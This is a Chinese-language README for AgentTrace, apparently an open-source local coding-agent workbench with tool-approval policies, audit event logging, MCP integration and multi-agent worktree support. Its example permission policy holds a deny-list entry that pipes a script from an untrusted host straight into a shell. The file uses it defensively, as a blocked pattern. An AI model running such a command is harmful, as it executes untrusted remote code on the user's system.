内容
# AgentTrace
AgentTrace 是一个面向本地 Coding Agent 的可观测与控制系统。项目将模型调用、工具执行、权限审批、事件追踪、会话持久化、长期记忆、MCP 工具扩展和多 Agent 协作统一在同一套本地运行时中,帮助开发者更清楚地理解一次 Agent 任务从输入到执行再到产出结果的完整过程。
项目后端基于 Python 与 FastAPI,前端基于 React、TypeScript 和 Vite。CLI 与 WebUI 共享同一套 Agent Runtime:既可以在终端中运行本地 Coding Agent,也可以通过浏览器工作台创建会话、观察运行状态、查看事件时间线,并对高风险工具调用进行人工审批。
## 核心能力
AgentTrace 主要提供以下能力:
- 本地 Python Coding Agent CLI。
- React + FastAPI Web 工作台。
- 基于 tool use / tool result 的 Agent 执行循环。
- Server-Sent Events 实时事件流。
- 可配置的工具权限策略与 Human-in-the-loop 审批。
- Workspace-local 的 Session、Run、Audit Event、Memory、Task 和 Cron 持久化。
- Anthropic 与 OpenAI-compatible Chat Completions 模型接入。
- stdio MCP server 连接与动态工具注册。
- Subagent、Teammate、Task graph 与 Git worktree 隔离协作。
- 长会话上下文压缩、大型工具输出截断与本地转储。
## 项目定位
这个项目并不是只封装一次模型 API 调用的简单 Demo,而是一个用于研究和实践 Coding Agent 工程化运行机制的本地系统。它重点关注三个问题:
1. **Agent 如何执行任务**
将用户输入、上下文组装、模型调用、工具调用、工具结果回传和最终回复整理成清晰的执行闭环。
2. **Agent 如何被观察和审计**
将 LLM 调用、工具执行、权限判断、审批结果、Run 状态变化、MCP 连接和 Memory 写入记录为本地 JSONL 事件,并在 WebUI 中以 Timeline 和 Events 的方式展示。
3. **Agent 如何安全地操作本地环境**
通过权限策略、审批队列、路径限制、敏感字段脱敏、运行取消和 Git worktree 隔离,降低本地自动化执行的不可控风险。
## 系统架构
```text
用户输入
│
├─ CLI / WebUI
│
├─ Agent Runtime
│ ├─ 上下文构建与压缩
│ ├─ Provider Router
│ ├─ Tool Registry
│ ├─ Permission Policy
│ ├─ Session / Run Persistence
│ └─ Audit Event Logger
│
├─ Tool Execution
│ ├─ 本地文件与 Shell 工具
│ ├─ Memory 与 Skills
│ ├─ Task / Worktree
│ ├─ Subagent / Teammate
│ ├─ Cron Scheduler
│ └─ MCP Tools
│
└─ Web Inspector
├─ Run 状态
├─ Timeline
├─ Events
├─ Team
├─ MCP
├─ Tools
└─ Memory
```
## 功能亮点
### 1. 可读的 Agent 执行循环
项目保留了 Coding Agent 的核心运行过程:
```text
用户任务
-> 构建上下文
-> 调用模型
-> 解析 tool_use
-> 执行工具
-> 写入 tool_result
-> 继续推理
-> 生成最终回复
```
运行循环、模型 Provider、工具注册、上下文处理、事件记录和交互入口被拆分到不同模块中,便于阅读、调试和扩展。
### 2. 运行过程可观测
系统会将关键运行行为写入 workspace-local 的审计事件文件,包括:
- 用户任务提交。
- LLM 调用开始、结束与失败。
- 工具调用开始、结束与失败。
- 权限策略命中与审批结果。
- Session、Run 和后台任务状态变化。
- MCP server 连接与工具发现。
- Memory 写入。
- Teammate 消息与协作事件。
WebUI 会把这些事件展示为 Run 状态、Timeline 和原始 Events,使 Agent 的执行过程不再是黑盒。
### 3. Human-in-the-loop 工具审批
工具真正执行前会经过权限策略判断。策略动作包括:
- `allow`:直接执行。
- `ask`:进入人工审批流程。
- `deny`:拒绝执行,并将拒绝原因返回给 Agent。
CLI 使用终端确认流程,WebUI 使用待审批面板与弹窗。审批记录会绑定 Session、Run 和 Tool Use ID,并写入审计事件。
### 4. CLI 与 WebUI 共享 Runtime
CLI 和 Web 后端没有维护两套 Agent 逻辑,而是复用同一套 Runtime 能力:
- Agent Loop。
- Provider Router。
- Tool Registry。
- Context Compaction。
- Permission Policy。
- Session、Memory 和 Event Persistence。
- Task、Team、Worktree 和 MCP 能力。
这使得命令行体验和浏览器工作台保持一致,也降低了重复实现带来的维护成本。
### 5. 本地优先的持久化设计
项目不依赖数据库。运行数据以 JSON、JSONL 和 Markdown 的形式保存在当前 workspace 中,便于直接查看、备份、清理和迁移。
主要本地数据包括:
| 路径 | 内容 |
| ----------------------------- | ----------------------------- |
| `.agent_events/events.jsonl` | Runtime 审计事件 |
| `.agent_sessions/*.json` | Session 快照与消息历史 |
| `.agent_sessions/archive/` | 已归档 Session |
| `.agent_runs/*.json` | Web Run 状态 |
| `.memory/MEMORY.md` | Workspace 长期 Memory |
| `.tasks/*.json` | Task graph |
| `.worktrees/` | Git worktree 与相关状态 |
| `.mailboxes/*.jsonl` | Teammate mailbox |
| `.transcripts/` | Context compaction transcript |
| `.task_outputs/tool-results/` | 大型工具输出 |
| `.scheduled_tasks.json` | 持久化 Cron job |
这些路径已在 `.gitignore` 中排除。
### 6. 多 Provider 模型接入
模型调用通过统一 Provider interface 进入运行时,目前支持:
- Anthropic Provider。
- OpenAI-compatible Chat Completions Provider。
- 同一 Provider 内的 fallback model。
- 请求超时、重试和 overloaded/529 等错误恢复。
Agent Loop、Subagent、Teammate 和上下文压缩都通过 Provider Router 调用模型,从而将模型服务接入与 Agent 主逻辑解耦。
### 7. 上下文、Memory 与 Skills
项目为长会话和复杂任务提供了多层上下文管理:
- 对历史消息进行压缩。
- 限制大型 tool result 的上下文占用。
- 将大型工具输出持久化到本地文件。
- 将 `.memory/MEMORY.md` 中的长期记忆注入系统上下文。
- 按需加载 `skills/*/SKILL.md`。
- 区分内部 reminder、compaction 消息和用户可见消息。
### 8. MCP 动态扩展
项目支持配置 workspace-local stdio MCP server。连接流程包括:
1. 启动本地 MCP 子进程。
2. 完成 JSON-RPC initialize。
3. 发现 server 暴露的工具。
4. 将工具以 `mcp__{server}__{tool}` 形式加入当前工具池。
5. 检测规范化后的工具名冲突,避免静默覆盖。
项目内置了 mock MCP server,用于演示文档查询、部署类工具发现以及审批流程。
### 9. 多 Agent 与 Worktree 协作
项目提供两类本地协作机制:
- **Subagent**:一次性执行聚焦任务,并将最终结果返回主 Agent。
- **Teammate**:以后台线程形式运行,通过 JSONL mailbox 与 Lead Agent 通信。
Task system 支持任务创建、依赖、认领、完成、owner 和 worktree binding。Git worktree 工具可以为任务创建隔离工作目录,使后台 Teammate 在独立目录中修改代码,降低并发修改主工作区的风险。
### 10. 后台任务与 Cron 调度
耗时工具可以后台执行,并在完成后将结果重新注入 Agent 上下文。Cron scheduler 支持五段 cron 表达式、一次性任务、重复任务和可选持久化。
Web Run 支持后台执行、状态查询、取消、审批等待,以及服务重启后的中断状态恢复。
## WebUI
WebUI 是 AgentTrace 的本地浏览器控制台,主要由会话区、对话区和 Inspector 组成。
### 会话与对话
- 新建、选择、继续和归档本地 Session。
- 展示用户可见的对话历史。
- 启动后台 Run。
- 取消正在执行或等待审批的 Run。
- 根据最终 Session snapshot 同步对话结果。
### 实时运行观察
- 通过 SSE 订阅当前 Run 的事件流。
- 断线后按事件 ID 回放已有事件。
- 展示 Run 状态、开始时间、结束时间和待审批操作。
- 将 LLM、Tool、Permission、MCP 和 Memory 事件展示为 Timeline。
### Inspector 面板
Inspector 包含以下视图:
- **Run**:当前 Session、Run 和 SSE 状态。
- **Timeline**:按时间展示模型调用与工具活动。
- **Events**:查看和筛选原始审计事件。
- **Team**:查看 Teammate、Task 和 Worktree 状态。
- **MCP**:查看并连接 MCP server。
- **Tools**:查看内置工具与 MCP 工具 metadata。
- **Memory**:读取并追加 `.memory/MEMORY.md`。
### 权限审批
当策略返回 `ask` 时,WebUI 会显示待审批操作。用户可以查看工具名、输入预览和策略原因,然后允许或拒绝该次调用。
### 工作台截图



## 技术栈
| 层级 | 技术 |
| -------------- | ------------------------------------------------- |
| Agent Runtime | Python 3.10+ |
| Web API | FastAPI、Uvicorn |
| Model Provider | Anthropic SDK、OpenAI-compatible Chat Completions |
| Frontend | React 18、TypeScript、Vite |
| 实时通信 | Server-Sent Events |
| 本地存储 | JSON、JSONL、Markdown |
| 配置 | dotenv、YAML、JSON |
| 并发 | Python threads、ContextVar、threading events |
| 代码隔离 | Git worktree |
| MCP | stdio、JSON-RPC |
| Python 测试 | pytest、HTTPX TestClient |
| Frontend 测试 | Vitest、Testing Library、jsdom |
## 内置工具
### 基础工具
| 工具 | 作用 |
| ------------ | -------------------------------------------------- |
| `bash` | 在当前 workspace 或绑定 worktree 中执行 shell 命令 |
| `read_file` | 读取 workspace 内文件 |
| `write_file` | 写入 workspace 内文件 |
| `edit_file` | 对文件执行一次精确文本替换 |
| `glob` | 按 glob pattern 查找文件 |
| `todo_write` | 维护当前会话的任务列表 |
| `todo_read` | 读取当前会话的任务列表 |
| `compact` | 压缩当前会话上下文 |
### Context、Memory 与 Skills
| 工具 | 作用 |
| --------------- | ------------------------------- |
| `load_skill` | 按名称加载 `skills/*/SKILL.md` |
| `memory_read` | 读取 workspace-local 长期记忆 |
| `memory_append` | 向 `.memory/MEMORY.md` 追加内容 |
### Subagent 与 Team
| 工具 | 作用 |
| ------------------ | ------------------------------------------ |
| `task` | 启动一次性 Subagent |
| `spawn_teammate` | 启动后台 Teammate |
| `send_message` | 向 Teammate 发送 mailbox 消息 |
| `check_inbox` | 读取 Lead inbox |
| `team_status` | 查看 Teammate、请求、Task 和 Worktree 状态 |
| `request_plan` | 请求 Teammate 提交计划 |
| `review_plan` | 接受或拒绝 Teammate 计划 |
| `request_shutdown` | 请求 Teammate 停止 |
### Task 与 Worktree
| 工具 | 作用 |
| ----------------- | ----------------------------------- |
| `create_task` | 创建本地 Task |
| `list_tasks` | 列出 Task |
| `get_task` | 读取 Task 详情 |
| `claim_task` | 认领可执行 Task |
| `complete_task` | 完成已认领 Task |
| `create_worktree` | 创建并可选绑定 Task 的 Git worktree |
| `keep_worktree` | 保留 worktree 供人工检查 |
| `remove_worktree` | 在满足安全条件时移除 worktree |
### Cron 与 MCP
| 工具 | 作用 |
| --------------- | ----------------------------------- |
| `schedule_cron` | 创建调度任务 |
| `list_crons` | 查看调度任务 |
| `cancel_cron` | 取消调度任务 |
| `connect_mcp` | 连接 mock 或配置的 stdio MCP server |
连接 MCP server 后,服务端发现的工具会动态加入当前工具池。
## 项目结构
```text
agenttrace-workbench/
├─ main.py # CLI 入口
├─ coding_agent/
│ ├─ agent_loop.py # 兼容入口
│ ├─ runtime/ # Agent Loop、CLI、LLM、事件、会话与取消
│ ├─ providers/ # Anthropic 与 OpenAI-compatible Provider
│ ├─ tools/ # 工具实现、注册表与 Subagent
│ ├─ security/ # 权限策略与审计
│ ├─ web/ # FastAPI、AgentService、SSE、审批与状态服务
│ ├─ mcp/ # MCP 配置、客户端与 stdio transport
│ ├─ memory/ # Memory store、上下文与 Skill loader
│ ├─ task_system/ # Task graph 与 Git worktree
│ ├─ teams.py # Teammate、mailbox 与协作协议
│ ├─ background.py # 后台工具任务
│ ├─ cron_scheduler.py # Cron scheduler
│ └─ context_compaction.py # 上下文压缩与大型输出持久化
├─ webui/
│ ├─ src/ # React WebUI
│ ├─ package.json
│ └─ vite.config.ts
├─ skills/ # 可按需加载的本地 Skills
├─ tests/ # Python 回归测试
├─ webui_screenshot/ # README 截图资源
├─ .env.example # 模型配置示例
├─ .agent_policy.example.yaml # 权限策略示例
├─ requirements.txt
└─ requirements-dev.txt
```
## 快速开始
### 环境要求
- Python 3.10 或更高版本。
- Node.js `20.19+` 或 `22.12+`。
- Git。使用 Worktree 功能时,当前 workspace 必须是 Git repository。
- 一个可用的 Anthropic 或 OpenAI-compatible 模型服务。
### 1. 获取项目
```bash
git clone https://github.com/Oran9el/agenttrace-workbench.git
cd agenttrace-workbench
```
### 2. 创建 Python 虚拟环境
PowerShell:
```powershell
python -m venv .venv
.\.venv\Scripts\Activate.ps1
```
macOS 或 Linux:
```bash
python3 -m venv .venv
source .venv/bin/activate
```
### 3. 安装 Python 依赖
```bash
python -m pip install -r requirements.txt
```
### 4. 配置模型
复制环境变量模板:
PowerShell:
```powershell
Copy-Item .env.example .env
```
macOS 或 Linux:
```bash
cp .env.example .env
```
编辑 `.env`,填写模型 ID 和对应 Provider 的 API key。
Anthropic 示例:
```dotenv
MODEL_PROVIDER=anthropic
MODEL_ID=your-model-id
ANTHROPIC_API_KEY=your-api-key
```
OpenAI-compatible 示例:
```dotenv
MODEL_PROVIDER=openai-compatible
MODEL_ID=your-model-id
OPENAI_COMPATIBLE_BASE_URL=https://example.com/v1
OPENAI_COMPATIBLE_API_KEY=your-api-key
```
### 5. 启动 CLI
```bash
python main.py
```
输入任务并按 Enter 发送,输入 `q` 或 `exit` 退出。
### 6. 启动 Web 后端
```bash
python -m uvicorn coding_agent.web.app:app --host 127.0.0.1 --port 8765
```
### 7. 启动 WebUI
另开一个终端:
```bash
npm --prefix webui ci
npm --prefix webui run dev
```
访问:
```text
http://127.0.0.1:5173
```
Vite dev server 默认将 `/api` 转发到 `http://127.0.0.1:8765`。
## 配置说明
### 模型配置
| 环境变量 | 必需 | 说明 |
| ---------------------------- | ---------------------- | ---------------------------------------------------- |
| `MODEL_PROVIDER` | 否 | `anthropic` 或 `openai-compatible`,默认 `anthropic` |
| `MODEL_ID` | 是 | 主模型 ID |
| `ANTHROPIC_API_KEY` | Anthropic 必需 | Anthropic Provider API key |
| `ANTHROPIC_BASE_URL` | 否 | 自定义 Anthropic-compatible endpoint |
| `OPENAI_COMPATIBLE_BASE_URL` | OpenAI-compatible 必需 | Chat Completions base URL |
| `OPENAI_COMPATIBLE_API_KEY` | OpenAI-compatible 必需 | API key |
| `FALLBACK_MODEL_ID` | 否 | 同一 Provider 的 fallback model |
| `REQUEST_TIMEOUT_SECONDS` | 否 | 模型与 MCP 请求超时,默认 `60` 秒 |
完整模板见 `.env.example`。
### 权限策略
将 `.agent_policy.example.yaml` 复制为 `.agent_policy.yaml` 后,可以覆盖或扩展默认策略:
```yaml
bash:
default_action: ask
extend_deny_patterns:
- "curl http://untrusted.example/install.sh | sh"
extend_ask_patterns:
- "git push --force"
file_tools:
guarded_tools:
- write_file
- edit_file
mcp:
ask_name_patterns:
- deploy
```
### MCP 配置
AgentTrace 会按顺序读取 `.mcp.json` 或 `.agent_mcp.yaml`。
JSON 示例:
```json
{
"servers": {
"local-tools": {
"command": "python",
"args": ["path/to/mcp_server.py"],
"env": {
"EXAMPLE_VARIABLE": "value"
}
}
}
}
```
配置完成后,可以通过 Agent 的 `connect_mcp` 工具或 WebUI 的 MCP 面板连接 server。
## 测试
运行 Python 测试:
```bash
python -m pip install -r requirements-dev.txt
pytest
```
运行前端测试:
```bash
npm --prefix webui ci
npm --prefix webui test
```
## 适用场景
该项目适合用于:
- 学习 Coding Agent 的 tool use / tool result 执行机制。
- 研究本地 Agent 的事件记录、审计和权限审批设计。
- 对比 CLI Agent 与 Web 工作台共享 Runtime 的工程实现方式。
- 实践 MCP 工具发现、动态注册和本地 Agent 扩展。
- 探索多 Agent 协作、任务拆分和 Git worktree 隔离执行。
## 参考与致谢
本项目在以下开源项目公开设计思路的基础上进行学习和工程化实践:
- [learn-claude-code](https://github.com/shareAI-lab/learn-claude-code):最小 Coding Agent 运行时、tool use 与 tool result 执行闭环。
- [CyberClaw](https://github.com/ttguy0707/CyberClaw):透明执行、审计事件与安全策略方向。
- [nanobot](https://github.com/HKUDS/nanobot):轻量 Agent Runtime、Provider 解耦、Memory、MCP、调度和 Web Workbench 方向。
AgentTrace 与上述项目不存在兼容性承诺;功能和行为以本仓库当前实现为准。
## 许可证
本项目采用 [MIT License](LICENSE)。
MCP 配置
以下是此 MCP Server 的配置信息,可直接复制到 Cursor 或其他 MCP 客户端中使用。
mcp.json
连接信息
猜你喜欢
暂无推荐服务器